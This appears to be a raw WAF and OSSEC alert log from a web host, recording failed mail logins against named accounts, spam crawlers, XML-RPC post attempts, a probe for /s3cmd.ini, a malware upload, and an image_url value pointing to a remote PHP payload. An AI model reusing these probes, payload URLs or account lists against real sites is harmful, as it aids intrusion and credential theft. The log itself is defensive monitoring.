domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:54717.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b1b48a220808285e7cb0421f5650a87ca7dc2f6d||Title:0xdf9a9429||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-20 06:34:07 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [1.227.228.131]:35560: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.96.62.218
country_id: 1835841
description:
2026-07-20 06:34:18 dovecot_login authenticator failed for H=([185.46.49.49]) [222.96.62.218]:48683: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-20 06:34:19 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net (114-30-104-218.tpgi.com.au) [70.184.65.81]:37652: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.39.124.134
country_id: 1835841
description:
2026-07-20 06:35:56 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [14.39.124.134]:47839: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-20 06:36:10 dovecot_login authenticator failed for H=([65.20.132.172]) [65.20.217.64]:53633: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.93.4.113
country_id: 3624060
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:25724.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8613f455b3ada87be802c0cd7ef66786cc82478d||Title:0x51c71bdf||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.253.194.218
country_id: 1643084
description:
2026-07-20 06:40:29 dovecot_plain authenticator failed for H=(localhost) [182.253.194.218]:17159: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.224.25.51
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/433097196 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 104.239.56.56
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 104.239.56.56
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 78.138.41.0
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://xmrlist.com\">Monero merchant directory</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-20 06:53:48 dovecot_login authenticator failed for H=([121.169.236.186]) [197.157.252.162]:48461: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.183
country_id: 1668284
description:
2026-07-20 06:56:31 dovecot_login authenticator failed for H=111-70-49-183.emome-ip.hinet.net (111-70-29-157.emome-ip.hinet.net) [111.70.49.183]:40383: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-20 06:56:51 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net ([103.176.160.146]) [111.70.28.243]:42109: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.242.28.103
country_id: 6252001
description:
2026-07-20 06:58:17 dovecot_login authenticator failed for H=([203.252.10.4]) [23.242.28.103]:45416: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-20 06:58:37 dovecot_login authenticator failed for H=([81.43.179.194]) [112.161.42.97]:52883: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-20 07:00:49 dovecot_login authenticator failed for H=([41.89.128.60]) [182.78.112.174]:38764: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-20 07:01:02 dovecot_login authenticator failed for H=([121.131.220.156]) [183.104.220.84]:59226: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-20 07:01:36 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([49.124.149.48]) [50.121.186.125]:53529: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.153.13.153
country_id: 6252001
description:
2026-07-20 07:01:48 dovecot_login authenticator failed for H=(79.223.139.122.adsl-pool.jlccptt.net.cn) [161.153.13.153]:49262: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-20 07:02:58 dovecot_login authenticator failed for H=(ip-177-27-76-210.user.vivozap.com.br) [182.95.109.138]:34708: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-20 07:03:10 dovecot_login authenticator failed for H=(124-148-134-155.tpgi.com.au) [27.72.46.152]:47445: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 149.102.235.155
country_id: 3077311
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:149.102.235.155||TA:149.102.235.155||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-20 07:09:35 dovecot_login authenticator failed for H=(14-200-249-128.tpgi.com.au) [197.219.228.246]:56106: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.147.168
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/db294628 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 172.234.28.236
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/s3cmd.ini||User:yukticlick||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.72.199.174
country_id: 6252001
description:
2026-07-20 07:10:37 dovecot_login authenticator failed for H=([178.176.250.149]) [24.72.199.174]:35114: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.232.146
country_id: 1835841
description:
2026-07-20 07:11:43 dovecot_login authenticator failed for H=([49.124.149.219]) [220.80.232.146]:38495: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-20 07:12:04 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de (red.138.118.213.204.ssservicios.com.ar) [217.24.238.120]:58271: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.108.109.37
country_id: 1835841
description:
2026-07-20 07:12:35 dovecot_login authenticator failed for H=([121.131.220.136]) [222.108.109.37]:43671: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-20 07:12:51 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([222.246.240.162]) [213.65.190.48]:53284: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.148.34
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.208.148.34||TA:173.208.148.34||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-20 07:16:02 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [101.13.6.86]:48764: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-20 07:16:17 dovecot_login authenticator failed for H=([185.235.212.105]) [65.20.153.146]:58774: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.49.145.212
country_id: 290557
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:50077.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9845f59f40e70a61e3de810b3cd5576437e92fff||Title:0x8507da87||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.75.112.190
country_id: 1562822
description:
2026-07-20 07:19:14 dovecot_login authenticator failed for H=(67-6-237-24.gci.net) [115.75.112.190]:6132: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-20 07:19:30 dovecot_login authenticator failed for H=([156.59.147.116]) [2.59.162.146]:57298: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-20 07:22:05 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([49.124.149.48]) [50.121.186.125]:52337: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.117.49.44
country_id: 6252001
description:
2026-07-20 07:22:25 dovecot_login authenticator failed for H=24-117-49-44.cpe.sparklight.net (181-212-174-166.baf.movistar.cl) [24.117.49.44]:55680: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.13.164.95
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/103724963 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/agariounblockedschool?lang=EN\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 16.79.112.1
country_id: 1643084
domain: cochinbigbandshow.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:cochinbigbandsho||SC:/home/cochinbigbandsho/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.141.29.246
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/203460624 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-20 07:30:54 dovecot_login authenticator failed for H=(5.189.23.23-FTTB.planeta.tc) [109.248.156.49]:33938: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.237.191
country_id: 99237
description:
2026-07-20 07:30:33 dovecot_login authenticator failed for H=([105.247.89.210]) [65.20.237.191]:57436: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-20 07:32:24 dovecot_login authenticator failed for H=(197-90-131-158.mweb.ipv4.as20011.net) [185.5.234.249]:60640: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.70.16.87
country_id: 2077456
description:
2026-07-20 07:32:37 dovecot_login authenticator failed for H=115-70-16-87.ip4.superloop.au ([122.185.68.89]) [115.70.16.87]:55170: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-07-20 07:37:14 dovecot_login authenticator failed for H=([46.8.245.100]) [121.131.220.136]:38448: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.133
country_id: 1835841
description:
2026-07-20 07:37:34 dovecot_login authenticator failed for H=([101.13.2.183]) [121.131.220.133]:35440: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.76.49.74
country_id: 1562822
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d92179685 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-20 07:43:42 dovecot_login authenticator failed for H=(made-again.tmesis.com) [165.173.21.44]:36280: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-20 07:44:38 dovecot_login authenticator failed for H=(197-90-131-158.mweb.ipv4.as20011.net) [185.5.234.249]:56572: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-20 07:45:53 dovecot_login authenticator failed for H=(120.245.223.60.adsl-pool.sx.cn) [1.250.67.114]:44984: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-20 07:45:08 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it (111-70-23-253.emome-ip.hinet.net) [37.207.215.2]:45496: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 125.164.127.224
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:34188.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c5cee5094ed15d741d5c9c7a3b52819ab82ce44c||Title:0x21a83a20||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.242.130
country_id: 2661886
description:
2026-07-20 07:45:33 dovecot_login authenticator failed for H=31-208-242-130.cust.bredband2.com ([103.93.37.178]) [31.208.242.130]:46276: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.240.137.185
country_id: 3686110
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/invest_ibmc/investors_club.php HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.220.1.242
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:07-52.31.220.1.242||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.204.108.161
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.padel5000.co/\">padel5000</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.222
country_id: 1668284
description:
2026-07-20 07:52:34 dovecot_login authenticator failed for H=111-70-23-222.emome-ip.hinet.net ([187.7.85.97]) [111.70.23.222]:42282: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-20 07:53:20 dovecot_login authenticator failed for H=(82-65-140-218.subs.proxad.net) [101.13.4.124]:43804: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.210.185.248
country_id: 294640
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e23490727 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.221.68
country_id: 1835841
description:
2026-07-20 07:58:32 dovecot_login authenticator failed for H=(static.170.209.108.65.clients.your-server.de) [220.80.221.68]:58980: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.251.28.241
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/141168513 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-20 07:58:49 dovecot_login authenticator failed for H=([198.52.177.150]) [172.191.74.151]:50692: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.131
country_id: 1522867
description:
2026-07-20 08:00:28 dovecot_login authenticator failed for H=([128.185.247.254]) [37.208.46.131]:34778: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-20 08:00:06 dovecot_login authenticator failed for H=([31.173.0.46]) [196.188.93.169]:4639: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://wiki.playfulexploration.com/index.php?title=User:Cecile47Z538\">Xem th\xc3\xaam</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-20 08:08:07 dovecot_login authenticator failed for H=([70.166.167.35]) [98.122.215.23]:37730: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.118.32.190
country_id: 1269750
description:
2026-07-20 08:08:18 dovecot_login authenticator failed for H=([45.164.115.86]) [45.118.32.190]:50667: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.236.138
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:173.208.236.138||TA:173.208.236.138||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.117.243.154
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/693398761 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.143.208.202
country_id: 6252001
description:
2026-07-20 08:11:05 dovecot_login authenticator failed for H=47-143-208-202.fdr01.blpk.ca.ip.frontiernet.net ([80.87.67.82]) [47.143.208.202]:44134: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-20 08:11:21 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([70.166.167.60]) [51.68.226.171]:57612: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-20 08:14:41 dovecot_login authenticator failed for H=([125.19.175.250]) [119.204.60.250]:37910: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.188.233.142
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ab3290282 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.188.39.59
country_id: 3996063
description:
2026-07-20 08:17:57 dovecot_plain authenticator failed for H=fixed-187-188-39-59.totalplay.net (localhost) [187.188.39.59]:64332: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-20 08:19:47 dovecot_login authenticator failed for H=([192.252.214.22]) [65.20.143.45]:39093: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.249.46
country_id: 2661886
description:
2026-07-20 08:20:10 dovecot_login authenticator failed for H=h83-209-249-46.cust.bredband2.com ([65.99.181.123]) [83.209.249.46]:33108: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.203.223.151
country_id: 1269750
description:
2026-07-20 08:20:11 dovecot_plain authenticator failed for H=(localhost) [117.203.223.151]:55589: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.14.31.10
country_id: 2921044
description:
2026-07-20 08:20:23 dovecot_login authenticator failed for H=([60.174.35.18]) [154.14.31.10]:58402: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.119.34.144
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ca1253687 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-20 08:21:27 dovecot_login authenticator failed for H=([70.166.167.59]) [178.244.215.186]:54784: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.79.200.239
country_id: 1562822
description:
2026-07-20 08:21:48 dovecot_login authenticator failed for H=([120.29.140.188]) [27.79.200.239]:42507: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.120.2
country_id: 1835841
description:
2026-07-20 08:22:03 dovecot_login authenticator failed for H=(static.ill.117.250.19.91.bsnl.co.in) [121.1.120.2]:44958: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.223.253.185
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/cc668564 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-20 08:26:54 dovecot_login authenticator failed for H=(h-155-4-31-215.A2204.priv.bahnhof.se) [175.203.199.118]:9899: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.166
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.166||TA:192.186.151.166||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.109.98
country_id: 3658394
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ef2942734 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.221.130
country_id: 1269750
description:
2026-07-20 08:35:20 dovecot_plain authenticator failed for H=(flativilic) [122.187.221.130]:48486: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 208.96.78.94
country_id: 6251999
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/invest_ibmc/videogallery.php HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.25.212.83
country_id: 1835841
description:
2026-07-20 08:37:45 dovecot_login authenticator failed for H=([106.246.89.73]) [59.25.212.83]:40178: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.238.140.87
country_id: 2661886
description:
2026-07-20 08:37:49 dovecot_login authenticator failed for H=customer-109-238-140-87.stosn.net ([213.186.233.10]) [109.238.140.87]:37410: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.38
country_id: 1269750
description:
2026-07-20 08:38:08 dovecot_login authenticator failed for H=([49.124.151.71]) [122.187.230.38]:34870: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-20 08:38:12 dovecot_login authenticator failed for H=([49.124.152.226]) [129.45.84.119]:58386: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.141.183.84
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.32||T:APACHE||SC:/home/keralapeople/public_html/admin.php||User:keralapeople||WPU:||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.141.183.84
country_id: 1861060
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:573599||Sizes:135042||Combined size:135042||User:keralapeople||WPU:||Filename:wp-conffg.php||Scanned:/tmp//20260720-083947-al2Re83EnS_YbuT-sWHCSgAAANA-file-CSlar0||SC:/home/keralapeople/public_html/admin.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.90.104.1
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/043780746 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.95.243
country_id: 1269750
description:
